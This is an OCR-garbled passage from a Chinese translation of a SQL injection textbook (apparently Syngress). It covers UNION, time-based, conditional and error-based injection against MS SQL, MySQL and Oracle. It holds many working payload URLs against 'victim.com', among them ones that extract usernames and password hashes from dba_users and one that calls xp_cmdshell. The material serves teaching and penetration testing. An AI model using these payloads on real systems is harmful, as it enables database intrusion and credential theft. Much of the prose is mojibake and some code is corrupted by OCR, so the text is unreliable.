AL RATTREB AR 4 Fi2, FARMAB/E T — ML S HEHIEKN I LR SREUK L&
#. ML, N¥FH—KEL, REHITMER. FEME, RNFFHEFERRTER.
W& TFIWER, BT SQL Server HIEBIEHAF(HSH K 4-2 LIIKEUH A DBMS ¥ &5 §JE
BIBHAT):

SELECT NULL , system user + ' | ' + db _name() , NULL, NULL

LB W system_user (FI{EFN db_name(MMEZER(PIRIMEHRINA “|” FRFRE AT EH)
B—%|F, HHEEA T URL:

http://www.victim.com/products.asp?id=12+union+select+NULL,
system_user%2B'+|+'%2Bdb_name () , NULL, NULL

RAZEN, F=EKLRRLUTE 4-5 FroafsiE:
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\_I;QTIM.COM

[B—HType “Description llPrice k
[12|[Book [sQL miection Attacks [so ]

[ Jeppdbuserieshor | [ ]

 4-5 ftfﬂﬁ Fdﬂﬁgﬁ“ﬁﬁ

AERR, BINCEHEEERERD—E, HFREHT— ’f‘ﬁ?ﬂﬁﬂ AR LME A AR
EEAFNS, WFIEARR:

SELECT columnl FROM tablel UNION SELECT columnA +' | ' + columnB FROM tableA

JEER, XEMK columnl. columnA F columnB WA ZR 2 FFF 8 A REBAT . WRAR, WwT
LLfEBY 5 —Fh “ K2R AR IR B T A R RN T REIER R . R 4-5F)H
T AR [R4038 B PR B BRI A 1 B R

F4-5 ABIADFRENT

HiEEE AR E AR TE i
Microsoft SQL Server SELECT CAST('123' AS varchar)
MySQL SELECT CAST('123' AS char)
Oracle ' SELECT CAST(1 AS varchar) FROM dual

B H TR, RITBSAHAT JL/AMEF UNION SELECT Z HI3REUR 418 B(PI B 44
FOliRpl. A AT UNION i SQL A — IRV RN, A HEAL B HILIERET.
BEEE Web [ H 2 7 77~ UNION SELECT MiAR R 2BUAEMIERIMSER, Bak
2 RSV B DB — IR B HI AR BUR AT RE S RO BGE R ? B RN ELMELIEEER S —
34 % customers {1, #1104 userid. first name Fl second_name F|(#4 5/ BEAREE L
KRS, EEBEIMTRERIXEER). RENEENART S, RAIITLUMERATS URL
KK RAFE:

http://www.victim.com/products.asp?id=12+UNION+SELECT+userid, first_name,
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second_name, NULL+ FROM+customers

#3Z1% URL, BATHEEIE 4-6 FronfImsy.

t } victim. com very secure apphcation - Microsoft Internet Explorer

bt/ /. victim.com/products. asp Zid=12s unions selectsuserid frst_name last_naS| Sl

| D " Type H Descnption " Price l

| 12 |[Book [SQL mjection Attackes [50

[1 [charles Smith

[ Lydia

u Bemard

—A URL BABATHHAFFIR! BRZNMGERRT AR, HESHR TRILHE
SRS BRGRTEATHERANAERE 5% B)ET UNION i SQL A K ). A&,
BRAZHEN UNION B G G BRERIIPITE, BRESLELREFFIT, HZEK
Web [N fl (A4 4 products.asp SCHF) & Xt 45 REAT AR H R BRE—1THEE. X FXFHLL
AR FARIARE? R EAZRBR—THE B MAFTA P AT, WREBRRAE NN
2R RAVZATEML T URL SR$AT 2 AR REE FE A P 929K

http://www.victim.com/products.asp?id=12+union+select+NULL, system user,
NULL, NULL

% URL {83 P2 5048 PE AR 55 28 0T T 51 M0

SELECT id, type,description,price FROM products WHERE 1d=12
UNION SELECT NULL,system user,NULL,NULL

KRB WIREL RPHEATHFLIHRAMFRFER), FEEEA UNION HHZ
FUARIN—/ME WHERE TAIZKZEABRKI &L B, aTRAEATIIAZ:

http://www.victim.com/products.asp?id=12+and+1=0+union+select+NULL,
system_user,NULL, NULL
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REBREBEBRENERAREATIIAR:

SELECT id, type,description,price FROM products WHERE id=12 AND
1 = 0 UNION SELECT NULL,system user,NULL, NULL

1 KTAFTF 0, HME—1 WHERE &4 4KMB, A&EE ID X 12 HERHEE. N
R E M ME——4TH A system_user H{H.

B — AR E TS, FRATET A A AR R AR Sk — Ik — 4T Hh 3R B K F (L 3 customers)
. A T% URL REBEE—ATEHE, BHEE “1=07 XM B 5 R T W4 14T

http://www.victim.com/products.asp?id=12+and+1=0+union+select+userid,
first name, second name, NULL+ from+customers

% URL ¥R Bl — 1783, HAEEE— % K24 (Charles Smith), /S ID X 1. E
BABIEEREE, RERRN—I%&64, BESRRINLFZHFEMNGREBR:

http://www.victim.com/products.asp?id=12+and+1=0+union+select+userid,
first_name, second _name, NULL+ fromtcustomers+WHERE+userid+>+1

B and 1=0 FRBRBREHRETH~ERTHPEEHRNEARGR), HREL
REMBE—AT, HPEE uwerid AT 1 MBIE. ZEWENRNE 4-7 Fiz.

vic hn COm YEery secure x|.||!| ation Hl 10 Itinr I tl»t;lu er

x F “ i f"
it/ /vy viclim. com/products. asp’ldﬂ?undﬂ-[hmmsebctmserd.lm na ". P

VICTIM.COM

| D |1 Type " Description " Price i

[ 2 H Lydia || Clayton "

B 4-7 A UNION SELECT f&¥i8 [h 3 + #4T

AT LAE I Z WK userid ZHUKMESRIE R il [ ¥k 2, IRIUH victim.com T B (1)
}Uﬁo

4.5 1R FHES

£ UNION VENEREWR —FER M RIEE I k. BErENEHTIERE
Ui, Web MHGBIMEEMNSZBBHNBRES MBEEHE. FiEHE, HibJLMEARBAEE
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Bi% B R(BRARALSBAREER). BMERMKI). BHWE SQL A S “k3” (BH
IR RN B FE R KR S BUE RSB EAV W), REEEMNRRADERF Bz
F UNION iEA] A LASRER I N )R A6 . LT, XD B3R R b fE BT,
FOA AR R BN R ARMER: BT, MELAAFRREOBEENEN, €]
FIThEE AR IR K, JFHEBBGHARAERZ —. EHAMEH TIARREEE

IF condition THEN do_something ELSE do_scmething_else

David Litchfield # Chris Anley ¥/ Z# % REZX—#&, A ELLRXCTHIEEHH
B 45, M EARRSRIE ARG HEPAT A E AT A HARE I R M REIANFR LR e, T
LUE R BE a2 79 P E ML ME(E 5 ERMNS AN AX— WA FM, BREEVIH—
BRI HAEERE . BA1EE — THRMEAFAEA) AR 4-6 HFHEKIAR DBMS HAHK]
L LRSI RE.

F46 £ #H E A

BB EEAR 55 % ' M
Microsoft SQL Server IF ('a'='a") SELECT 1 ELSE SELECT 2
MySQL SELECT IF('a', 1, 2)
SELECT CASE WHEN 'a'="a' THEN 1 ELSE 2
Oracle END FROM DUAL
SELECT decode(substr(user,1,1),'A",1,2) FROM DUAL

451 A1 ETEHE

it 4 AR B A AT SQL IEART, S —FFRIAT I ik 3 T Web N A R i (A]_E R 2 57
ZE A ER g T 348 (5 BUKE . BN, 3T SQL Server &, &L THRIABTEHITERN
AP RENRGERRAK (sa). BUE, X rUREZ, FABRAR, ExfEEEE LR
ITHRRIEBSARAR. Fik, aTLHEATSIER:

IF (system_user = 'sa') WAITFOR DELAY '0:0:5' --

HE R FE BN T 5 URL:

http://www.victim.com/products.asp?id=12;if+( system user = 'sa')+
WAITFOR+DELAY+'0:0:5" --

R RAT T IRLEHRIENE ? system_user HE— T-SQL ¥, EIRIFEIM4RTERIIHF
Z(Bn sa). % HIRHE system_user RIMER R 5E R & AT WAITFOR(ERF 5 #). EIL KM
FIiR B HTML T /e 3 A nt 8], a7 LARGSE R4 sa FI P . B REBHI PSR EE T TR
B o] g H BRAE SR A B W IF & F U A Oh i SQL AR,

WA ARG RE 5 B)RERK . ATLUER 1| B(WAITFOR DELAY '0:0:1)%] 24 /N
(WAITFOR DELAY '23:59:59'R %54 (e 52 B K IEIR ) 2 18] AT —ME . X B 2 DMEA 5
B, R PH T R BRI BRI /S A BT . BUMROME RS BRI PR Y, {HA gz
R 4 52 R TR} £ 109 468 AR B s P2 AR 45 88 5 K 77 R A WA T AN AR 6
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SgR, 1T B R A 5 I e R AR T LA P 07 i SRR e o (AT (T A AR
BT, bltn, BERERREIEEGRARZE A 20057 HE THENR:

IF (substring{(select @@version),25,1) = 5) WAITFOR DELAY '0:0:5' --
RATH Sk FE@@version W EAEHEL, 7E SQL Server 2005 1, ‘& FIEELT TN

Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)

Feb 9 2007 22:47:07

Copyright (c) 1988-2005 Microsoft Corporation

standard Edition on Windows NT 5.2 (Build 3790: Server Pack 2)

AR, RO THRERAE. 8T HETEHIFEHZEE R SQL Server 2005, R
KA A S — A T, NI R @@version & BFTFHUFAT B 25 MR- AU
8, HigAhZaRA BN s SRS T “5” #lm, % SQL Server 2000 &, &THFN

“0” ), BTFHHELIE, RIVEEHIBL substringOREL. 128K HH TRV A A I
27, TEERCASE. RAFEHES. BRRFHFOEEMLE. BREONTFH. KEIF, B
DHREUE 25 NEAHBTE S 5 BT, WRMAMEAS, RS s B, mRNAER T S
WA BB R, WA LG &5 RS 8 SQL Server 2005.

GRS, WIAT LA xp_cmdshell 3R MR &£ ELIEPH
AR REBRMMGE R, 7EFEAHTF, &A1 ping [F#(oopback)ii 1 5 Fheh:

EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1°

BIHBT N, RV T A4 SQL Server F=AEFER , 1X— & th RIREE F T I AL HOR
B R, Bt ST MySQL, ol LMER FHIERWR — M ERPHEER.:

SELECT BENCHMARK (1000000,shal('blah’));

BENCHMARK HE0H B A S¥HRMEENPITHE P SETRENRE. BB
B0 R S 28 e, HXTBI AN HEEE th AIRHIR G M Bh . 75 kR, FATE VREEE
WER S “blah” B SHAPMAEITHE —A K.

%tF Oracle T, o LAE4# A UTL HTTP 8% HTTPURITYPE [l —/> “SEK]” IP Mt &
B —A HTTP i kR ScHAE R A R (R AR T SEbE 2 — 1), iRk T — MR FEMITE B IP
Hihk, A R UK — S RER H 28R

select utl _http.request('http://10.0.0.1") from dual;
select HTTPURITYPE( ‘'http://10.0.0.1").getclob() from dual;

A — R R T8, SR /MO /R B (Cartesian product). 3 4 7K
LR count(*)bb ELESE[E M EFIERMM MBEKRE . MRASEOE-DFHNL A,
2 FHI B o S BT AT I R /R R, RUE IR — T

SELECT decode (substr (user,1,1),'A", {(select count (*) from all objects,
all objects, all objects, all_objects),0)

3, @57k, SHAL RiEEIRMERA RSB ESHRNE, B FRASA T EZA hash B
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SQL AT H SR
BAESW! I, FHakEERE, BETFRPOARRHENER.
452 FHix2: BTHEiR

T B R AR RIE, BT UGMEFEER MRS R P e RIEEA, B R
R T AER . Bk, E7E4E (pure-blind)iZ iR F LR K. BAVEAES 5 =X IAEREA
4rHT.

BEFHEFTERNEERIEZMAER. BREG M8 1500 FMEMER, RAOEH S
YE24 WAITFOR MIZ ¥, BAHANE M FHIER 2.5 BAREE(IN. LT MK MKIER), X
BEFZTER S NEE. °TLAIR/MESRS WAITFOR SHHME, ERATARESIIAMGR. FiE
MR, BRAOERHAMMEARTH, SEBARRERNIS ROALALR AR AN E N . EE FFE#:

http://www.victim.com/products.asp?id=12/is_srvrolemember ('sysadmin')

is_srvrolemember()/& —* SQL Server T-SQL &%, ©iR[FE FFi{k:

o 1: WRAFETHENEA.

o 0: MRAFARTHREMNA.

e NULL: WRfFEHRHAANFE.

R BT sysadmin 4, B4 id BEHEEF T 12/1(F T 12): B, AR FE /48 Syngress
BRI, WRLETH S AR sysadmin AR R, 2 id ZEERHD 120(0REERRE—
MF); X SFBEHERM, NAER—MER. BHEE, REAMERHESTETN: T
fe R —NH Web IRS-22iE[Ff) ‘500 Internal Server Error’, A]AEAL 55538 SQL Server
HRHEE, FE5E4-8 BREBEEEL.

| 3 victim.com very secure application - Miciosoft Intemet Explorer -
D 2 8] Qoeach (a
W:Nwww.vichcomfptoducts.esp?ﬁd-ﬁﬁs_ww[‘w'} o

| VICTIM.COM

1 Microsoft OLE DB Provider for ODBC Drivers error B0040e14'
1 [Microsoft][ODBC SQL Server Driver)|SQL Server|Divide by zero error encountered.

: /products.asp, line 33
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B RIE AT e MEN R MOE R E A EA HTML 50, (B8 Fi—17 24 H
f: BT LLARGR BT 4 R o L A6 AN [R] SR Ak 5 A 17 £ e 2 3 SR B S A

AJLMR A SR %R EY RS HARR A A ). CASE BAFNXANREMBEIIA, LR
DBMS B3 X —iff), B FEABRE KA AP ORIEE AT AN, SR ). CASE
A BRI FTR:

CASE WHEN condition THEN actionl ELSE action2 END

1B — At BAVE—T UMM CASE EFIRNE LR BREN sa(E BT RSN
)

http://www.victim.com/products.asp?id=12/( case+when+( system_user = 'sa’')
+then+1l+else+0+end)

453 FHiZE3: ETFAR

FHEE WAITFOR T 5, 2 TR EEMERMMR AR RS : BRI S iR A,
BTLL B ANE KA L IR FI 45 ROMSL TR RLE) . SR SR IR 2 T REACT #AS 75 2 4
W FIZHE, EH A TGRS SR A8 R R4, BAILL LR URL K4,
X e ML K-

http://www.victim.com/products.asp?id=12%2B( case+when+ ( system user = 'sa')
+then+l+else+0+end)

ME—ZE R R IAME %28 B4 T SHUGHR “/” 25, %2B £ “+”7 §) URL &S (A1
AEFE URL FEEMA “+7, FAEQWMITRTH). BEH R TIIRT A id S50 ME:

id=12 + ( case when ( system user = 'sa') then 1 else 0 end)

GRIFFEM. MRPITEARMAF AR sa, B4 id=12, ERBEH T
http://www.victim.com/products.asp?id=1§

MW RPATE R E & sa, B4 id=13, ERBEN T
http://www.victim.com/products.asp?id=13

HABATHE KR MR, XM URL TRELIEEIARFME: F—4 URL RIRE
Syngress P15, 55—~ BEIR Al — MBS (BB, BTEL, RATAT LURHRER ¥ HTML £
AR Syngress T # B oven TR E KA RE N sa.

B ARBETHROBEAR—FR, FINEE AR A SRR, W% iEE
hnfergk.

454 AMRFFFE

EHATROSHE KR, EaEROFTFH, THEAKSEEAET, RAMEA MR 2R
¥ ERE T RAEA RO RAERETHRERETHE). BIRE 523 SQL ALK
SHOFEMT, MRFAH. FEMR, ERBARREERTFRHEEH, RBHNMOSE
BT, BRBRATAEBRTRIS Web B mFXHE D IiE——E AR R R 2 &A= K FT

123
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SQL sEABUE S

A&, AHE T3 URL ki ZTh6E:
http://www.victim.com/search.asp?brand=acme
iffi% URL i, & @R ERIIT THIEA:
SELECT * FROM products WHERE brand='acme'

WA brand BRAEB S, BAS BT AHER? HHFE 1 B m, H2E URL
R PR

http://www.victim.com/search.asp?brand=acle

XA URL RATEELIE M S 2 RRRI A A AR D4 RE, BRRIMNf4R
GERISE

AE® A URL BEIERMNESE, A= brand ZHRAENNR, SAILUREZMEHF

R R AR KRB . RAT B — SN, RS, SRR T H AT
PASF P AR 5

http://www.victim.com/search.asp?brand=acm'%2B'e
M %2B INS( “+”7 i) URL 4if%, HZP#)(5H % Microsoft SQL Server)# T Bi/i:
SELECT * FROM products WHERE brand='acm' +'e'

BEE, ZEASHT E—=&#, FTUBRLH HTML REASREZ N, RilEE -2
ST, BSE =5

http://www.victim.com/search.asp?brand=ac'%2B'm "'%2B'e

AT LIAE A char( i 2R T-SQL H i) m ¥4, char()if I — AN F1E A S HOHR
H IR H ASCII 4% . T m () ASCII {8 % 10916 ##14 0x6D), FrLARRATIATLAXY URL {EiE
_“ﬂifgfv&' ﬁn—Fﬁ'fﬂ__;"

http://www.victim.com/search.asp?brand=ac'%2Bchar (109) %zB'e
BAAMEEN:
SELECT * FRCM products WHERE brand='ac' +char (109)+'e"

ZEWIAER SHEEWAR MR, ERERNE T —DTSENEFSH, Sl
DB RS EHRTEE AR, BRI TFIIERK:

http://www.victim.com/search.asp?brand=ac'%2Bchar (108%2B (case+whent
(system user+=+'sa')+thent+l+else+O+end)) %2B'e

MEEBRRE SER, RERATAT RS~ FRETHRTAHT:

SELECT * FROM products WHERE brand= 'ac' +char (108+ (case when

( system_user = 'sa') then 1 else 0 end))+'e’
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WIEJRTA S REN sa, char()e&E KIS EOk 4 2 109 2% 108(RY BEE[E m B8R 1). ZERTTH
BBl R, S - DNEEPERNTFER BN acme, B TAK acle. FTLL, WMRAFH sa, HBak
£L[) URL K554 T -

http://www.victim.com/search.asp?brand=acme
B, LK URL BEHM T

http://www.victim.com/search.asp?brand=acle

XA TUHRHRFEIA R SR, HmBERNE T 8 R M7 iE——~ R &4 a0

455 ¥RME

FHBONE, BONMBHFITFMETREFERMERER®GEW, HFPRE A BIEFEE
). AT MRE S RXMEARYT REMEREIE . REE, BUARMEIRERE M BL(E
TR REHEMT &AM A FE R B, FTUTER B MOERR K UL R HEOHE. RAIIEZ)
RIS AIBTHRAT Z A P B F. ROTRAERRR TRAR P RER sa, MiRZER 5%
BE L. HABRMKZRIAMP LHKE. AIMEAHTHEREINIZEK:

select len(system user)

BB /242 % appdbuser, AIIEIE 9. BARMEF 4B COSRBUZME, WBBRIT— =
B, WRGEA T A ANETFHRIT%, WFRE T URL .

http://www.victim.com/products.asp?id=10/( case+when+(len{ system user )+>
+8) +then+l+else+0+end)

AP %%2T 8 M7, W% URL 74— MR WATAEEH T ER#HT =4 A HK:

http://www.victim.com/products.asp?id=12/ (case+when+(len(system_user)+>+16)+
then+l+else+(+end) ---> Error

http://www.victim.com/products.asp?id=12/(case+when+(len(system_user}+>+12}+
then+l+else+0+end) ---> Error

http://www.victim.com/products.asp?id=12/ (case+when+ (len(system_user)+>+10)+
then+l+else+(0+end) ---> Error

http://www.victim.com/products.asp?id=12/ (caset+when+ (len(system user)+>+9)+
then+l+else+0+end) ---> Error

5o ! BT (len(system_user)>8) %A% J1 B H (len(system_user)>9)%& A4 X8, BRI FA 1] i tH
My KR 9 N7

BERAME TR BRKE, BETXRIMNFERNEFTBINER. BEZBREMES, HTE
TEAET B FFRF T HPHENER, RATEE XA FEH) ASCII BB EIIT -0 B K.
E SQL Server 1, FATATLUE A FFIRik LR EIE & FFF 35 ASCIIL 7514

Ascii (substring((select system user),1,1))
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ZRIAARME system_user HIME, MB—NFRFAHRITH, THEERGFN—FH,
I EHAHEHIN ASCH FB{E. Eik, T35 URL B,

http://www.victim,com/products.asp?id=12/ (case+when+ (ascii (substring(select+
system user),1,1))+>64) +then+l+else+0O+end) ---> OK

http://www.victim.com/products.asp?id=12/ (case+when+ (ascii (substring(select+
system_user),1,1))+>128) +thentl+else+(0+end) ---> Error

http://www.victim.com/products.asp?id=12/ {case+when+ (ascii (substring(select+
system_user),1,1))+>56) +then+l+else+0+end} ---> OK

<etc.>

AT AW AT E BB AT a(ASCH: 97 B 0x61) K1k, ZS RS ESHITT R
WOAFR, RILEHE, WTUER TR AR PR BT R EE . AR, A ARIRE
BT & BEHENGE AN FERE AR R. BREEGRN TRATLUEZEEAZL, BR
AV R AHEAE 1% 7 3R IR E K B I BER (L in 34 B8 )

456 %M SQL ENEIR

BB ESR, £3FE SQL AT, BEEHRESEhTFARGHRELFHFERL
FEBERMERDT N RITERM, —BANEEAMBIESMERE, 00U AR Bk
MEHRER RGNS, BENRE KRR BEM A EET. BFEHAT, #HiREBE
AT LAk R AT AR I BB IR AL . ZEATETF L4y, WAVMEREHRNE B8 T SQL Server (KR
A, ApHEBEEFREREENA BEEA@@version 7458, W4 — &85 @@version 25
EEMEIRE R REIMM . ZBRAEZ FTLARENT), BEN SQL Server /4 1 LL AW EIREE X
HAMHEIRER . A, BATTEAZEFEMERERRTESR, MANRERAE R
B, FATe] GERARANIE FEB0HE FE R 45 3% BT E BT R R M

http://www.victim.com/products.asp?id= system user
iH3RKi% URL PR 74T PR

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Conversion failed when
converting the nvarchar value 'appdbuser' to data type int.

/products.asp, line 33

A 2N i MR AP ZER T sysadmin 41, BRAERANIRT S A5 —FE
Al RS2 0 BREUEIREE B k. BAIFIA is_srvrolemember 32 [A] FKME K 7= 2E R fid & 3
KAV BRI T8

http://www.victim.com/products.asp?id=char (65%2Bis_srvrolemember ('sysadmin')}

R RAT TR ? 65 TR A Il ASCIIH, %2B 25 (“+” )i URL
FfS. W 4ETA P BT sysadmin 2, HE4 is_srvrolemember ¥R (5] 0, char(65+0)#fi& [B] ¥
A, RS THEHE SRR, 4 is_srvrolemember KR [F] 1, char(1) iR o] F £
B, FRALKIREIABEHRE R, B8, ROVGWE FHIHER:
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Microscoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microscft] [ODBC S5QL Server Driwver] [SQL Server] Conversion failed when
converting the nvarchar value 'B' to data type int.

/products.asp, line 33

FREKBRMNEINR T B, XEWERNGBIEFER PGS AR AT LA IXFR I
HEEHET AAEREAEAMETERPFMAEABEE. AR, SQLIEAKTHRE
B, RABE —ABPREAS. BREEAESCRECHREASE, REHTOHREEERL
A BTN E B AN NV 2B % ) S B AE .

HAVING TAJ#REE T B4 M TaHR N7, EAVFSGEE S M & AT A 1)
4. WHEHIZ )5 GROUP BY T2 Fl LUid# SELECT ARG R . Aid7E SQL
Server 1, HJLAMERI KA KB EEHE - FIMNFHRER, F% URL Fix:

http://www.victim,com/products.asp?id=1+having+l=1
IS P A% 38 9] T B R

Microsoft OLE DB Provider for ODBC Drivers error '80040eld’
[Microsoft] [ODBC SQL Server Driver] [SQL Server] 'products.id' is
invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.

/products.asp, line 233

AR BB E T products M id H|H)ZH. id 52 SELECT EBEAMERME 7). EAH
BahFE 5, HFERN -85 RAININIE %42 GROUP BY 1-4JBW]:

http://www.victim.com/products.asp?id=1+group+by+products.id+having+1l=1

BUAEE] 73 Hh— 2 B R B

Microsoft OLE DB Provider for ODBC Drivers error '80040el4’
[Microsoft] [ODBC SQL Server Driver] [SQL Server] 'products.name' is
invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.

/products.asp, line 233

#-FJ& T GROUP BY Fhj, HMIixE R 58 — %] products.name il K. % T R4 i%
B INE] GROUP BY T4, ANTHSEi Wil (K N 2%«

http://www.victim.com/products.asp?id=1+group+by+products.id,

products.name+having+1=1
HEEAMEREZIREERA G AR RAIE, ETLURE S NS a5,

15

AR AL, AFIFPRELI, MmO RE e L EEEEAN., 2R EATRPE
™ Web B, FHECEEHERE: HI44RN, CREAF—NHANS HIML A&, A
FERESAF RF—FETEMGEIRE L, REFELANF Web BAEE R A 185 m
69480 &
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45.7 Oracle PRIEIREE

Oracle th 3 il it #5171 BRI EUEEE . WRIBEERER A K AR, 7 LMEH Oracle FANFE
] PL/SQL BR ¥k IR M S P A R .. B B H R U utl_inaddr, ek E( 5 T EHL4 -

SQL> select utl_inaddr.get_host_name('victim') from dual;
ORA-29257: host wviectim unknown

CORA-06512: at "SYS.UTL_INADDR", line 4

ORA-06512: at "SYS.UTL_:NADDR", line 35

PRA-06512: at line 1

EHREF, BAITABHE RN EMANE. AER utl inaddr BEILIBTANE, #
SEREEREES.

f£ Oracle #', AJLAfFH] SELECT BB BAEME®BIW, —MNFRFH). ME—HIRHIRiZ
SELECT A H gk B — % fl—4T, HENHUE ORA-01427 HiR{H & single-row subquery
returns more than one row. A LA T %] SQL*Plus 44T AL F % ok 5

SQL> select utl_ inaddr.get host name((select username||'='|| password
from dba users where rownum=1l)) from dual;

ORA-29257: host SYS=D4DF7931AB130E37 unknown

ORA-06512: at "SYS.UTL INADDR", line 4

ORA-06512: at "SYS.UTL INADDR", line 35

PRA-06512: at line 1

SQL> select utl inaddr.get host name((select banner from v$version where
rownum=1)}) from dual;

ORA-29257: host ORACLE DATABASE 10GRELEASE 10,2.0.1.0 - 64BIT PTODUCTION unknown

ORA-06512: at "SYS.UTL INADDR"™, line 4

ORA-06512: at "SYS.UTL_INADDR", line 35

PRA-06512: at line 1

BRAERT LAY utl_inaddr.get_host_name BREGEAF] 52 B URL H. B 4-9 HHEIR
HEEE T BIEER S H .

e, BRI FFUREAENFR S, RATAT LR SRS T U ] 5 2 R 2R H0E B
i&ﬁ%ﬁ@]:ﬁi:

' or l=utl inaddr.get_host name ( (INNER}) -

HF AR A 347 B35 B 41 ¥ 1l A SELECT EA)BI AT . BARGLT B MRH), gL
FERER|—H,

THIEMATREHE P& LEEGN 4, i, rESIEHeERRT—&:

select username]||'='||password from (select rownum r,

username, password from dba users) where r=1

ORA-29257: host SYS=D4DF7931AB130E37 unknowm



aE FAESALFA 129

' Show a list of all employees by name

|

Waming: ociexecute(): OCIStmtExecute; ORA-29257: Host 13.02. 09 unbekannt ORA-06512: in "SYS UTL_INADDE",

| Zele 19 ORA-06512: m "SYS UTL_INADDR", Zeile 40 ORA-06512: in Zeile 1 in C:\applasliohs‘htdocs'php3.php on line
|34

Waming: ocifetch(): OCIFetch: ORA-24374: define not done before fetch or execute and fetch in C:\applasliohs'htdocs
| ‘php3.php on line 45

. 49 FEERMEFIEREE
N FHERN R T IS S, AT%A concat i %k

select concat(concat(username,chr(ﬁl)), password) from (select rownum r,
username,password from dba users) where r=2
ORA-29257: host SYSTEM=E45049312A231FD1 unknowm

ATASEE BAT BRI B TE R . B EEY XML 5 H SQL EAREREHM
Oracle BR# stragg(11g+)3R7E AT HIKEFTEIT . R i ME— B BRI R KA K
4000 F).

select xmltransfrom(sys_xmlagg(sys_xmlgen(username)},xmltype{‘<?xml

version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl
="http://www.w3.0rg/1999/XSL/

Transform"><xsl:template match="/"><xsl:for-each select="/ROWSET/

USERNAME"><xsl:value-of select="text () "/>;</xsl:for-esch></xsl:template></

xsl:stylesheet>')).getstringval() listagg from all users;

select sys.stragg (distinct username||';') from all_users

M

ALEX; ANONYMOUS; APEX_PUBLIC_USER;CTXSYS; DBSNMP; DEMOL; DTP; DUMMY ; EXFSYS s FLOWE
030000;FLOWS_FILES;MDDATA;MDSYS; MGMT_VIEW:MONODEMO; OLAPSYS; ORACLE_OCM;
ORDPLUGINS; ORDSYS; OUTLN; OWBSYS; PHP; PLSQL; SCOTT;ST_INFORMTN_SCHEMA; SPAT IAL
CSW_ADMIN USR; SPATIAL_WFS_ADMIN USR;SYS;SYSMAN;SYSTEM; TSMSYS : WKPROXY ;WKSYS;
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WK_TEST; WMSYS;X; XDB; XS$NULL;

A utl_inaddr FA EREWHWZ —J5, HMH—MIFAFHAZRERER, WA 4-10
Bz

|3 | hetp: pvictim.com: 7777 fphp3. pho7enames=S' or 1=t ina T 7

ey i e

| Show a list of all employees by name

Warning, ociexecute(): OCIStmtExecute: ORA-29257: Host ALEX ANONYMOUS APEX_PUBLIC_USER CTXSYS
' DBSNMP DEMO1 DIP DUMMY EXFSYS FLOWS_020000 FLOWS_020200 FLOWS_030000 FLOWS_FILES H3
| H9876 H9877 HACK IX MDDATA MDSYS MGMT_VIEW MONODEMO OLAPSYS ORACLE_OCM ORDPLUGINS
| ORDSYS OUTLN OWBSYS PHP PLSQL SCOTT SEC1 SEC2 SECALERT SHOP SI_INFORMTHN_SCHEMA
| SPATIAL_CSW_ADMIN_USR SPATIAL WFS_ADMIN_USR SYS SYSMAN SYSTEM TEST1 TSMSYS
| WEPROXY WKSYS WK_TEST WMSYS X XDB XSSNULL unbekannt ORA-06512: m *SYS UTL_INADDR", Zeile 19
| ORA-06512. in "SYS UTL_INADDR", Zeile 40 O in C:\app'asliohsthtdocs\php3.php on line 34

I Warning. ocifetch(): OCIFetch: ORA-24374: define not done before fetch or execute and fetch in C:\applas]iohs\htdocs
| \php3.php on line 45

B 4-10 BREEITER

BNESL T, Oracle 11g i#id—/HT5I A K ACL(Access Control List, 5 [7] 35 151 2%)3k B
X utl_inaddr FOFCAl PILEG T 6] 0 FIXFH UL RATEE B — MR8 IR K ORA-24247
£5RM B: network access denied by access control list.

PR v YL B (B 24 B PEASINGR, utl_inaddr X3 T PUBLIC #24URT), BATLHEH
HAhEE. T3] Oracle ¥ (FIH PUBLIC #A) S IR [H] Al 45 M4 IR M B .

HEATFIAR:

or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH (user, 'a', 'b')—
R [EIFF A A

oRA-53044: invalid tag: VICTIMUSER

EATHIAE:

or 1=SYS.DBMS_ AW _XML.READAWMETADATA (user, 'a')—

BB T3 A2

ORA-29532: Java call terminated by uncaught Java exception: oracle.AWXML.
AWException: oracle.AWXML.AWException: An error has occurred on the server
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Error class: Express Failure
Server -error descriptions:
ENG: ORA_34344: Analytic workspace VICTIMUSER is not attached.

ENTFHIN
or 1=CTXSYS.CTX_QUERY.CHK_XPATH (user,'a','b')—
REF SN

ORA-20000: Oracle Text error:

DRG-11701: thesaurus VICTIMUSER does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 538
ORA-06512: at line 1

4.6 HAEHAEFEX

RTE T8 7 2P AN R B MIZ FREOR R BB (R . X e E R, BRAVABERT >
HEE . RAERNES I RUEF, 25T ] X S R R IRE R BIRE . HESoUm =
ATRA & JURF AW (LT BRI PR KY) . EAR S B TG IERA V1S SQL 1 A I i
BT R IR, HPATERBAF IR A — 215 B 2 A 245 H RN ZRNBGEEH T2 a8
ZEHIEPE P BT A T AR PO REUH AT N R . RS LT, VMR SRR 2k
TEZFEAR S5 28 EHVBTH B . HARPEP T A RURFRRTHITAN—R/ 52, 2
R ERERS BB R JRATT T LU I SR — 2 ST RHE (metadata) SR ST HE T AT . #0048 A oC
BAERAGIH BTN FEROEIRE . EI1XEF] 7, RATEEEA UNION A#), thaTLl
KERESY B2 AL SQL AR,

R

RUBFRBHEEFGR/F), GFERFTREIRAMREFBIEALEHG R, EFHK
MG EAT S ARD AMAB(BP ik iR a9 4dR)., BARAFTFXEZE, RAR
R RFAFA: PATE R R P LR LRI P X TSI, (2 F R dF Lot Jo
RACAEH B A, AR AL A P ARBATRA . KINEAERE S BNB— EATRRAHK,

4.6.1 SQL Server

EIFFTEA R TRESNA, EAF—M5HRBER ASP UM, BE%IE[ETEE B & i
FR. #R—TF, AL EMEH T URL A &5

http://www.victim.com/products.asp?id=12

% URL RE—ARUUTFE 4-1 fraim, Hhaad—iki 4 M FRPER, FBTE
BFHFREARTE. EFRNFERDOE —4F LR TRETELIF - HEIRES|E.
X #5(5 B R A7 7E master..sysdatabases 25, it/ T 5B kM 2 LG %
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select name from master..sysdatabases

HATE IF KT F| URL:

http://www.victim.com/products.asp?id=12+union+
select+null, name,null, null+from+master. .sysdatabases

B E ) T A 4-11 Fis.

VICTIN.COM

| Description

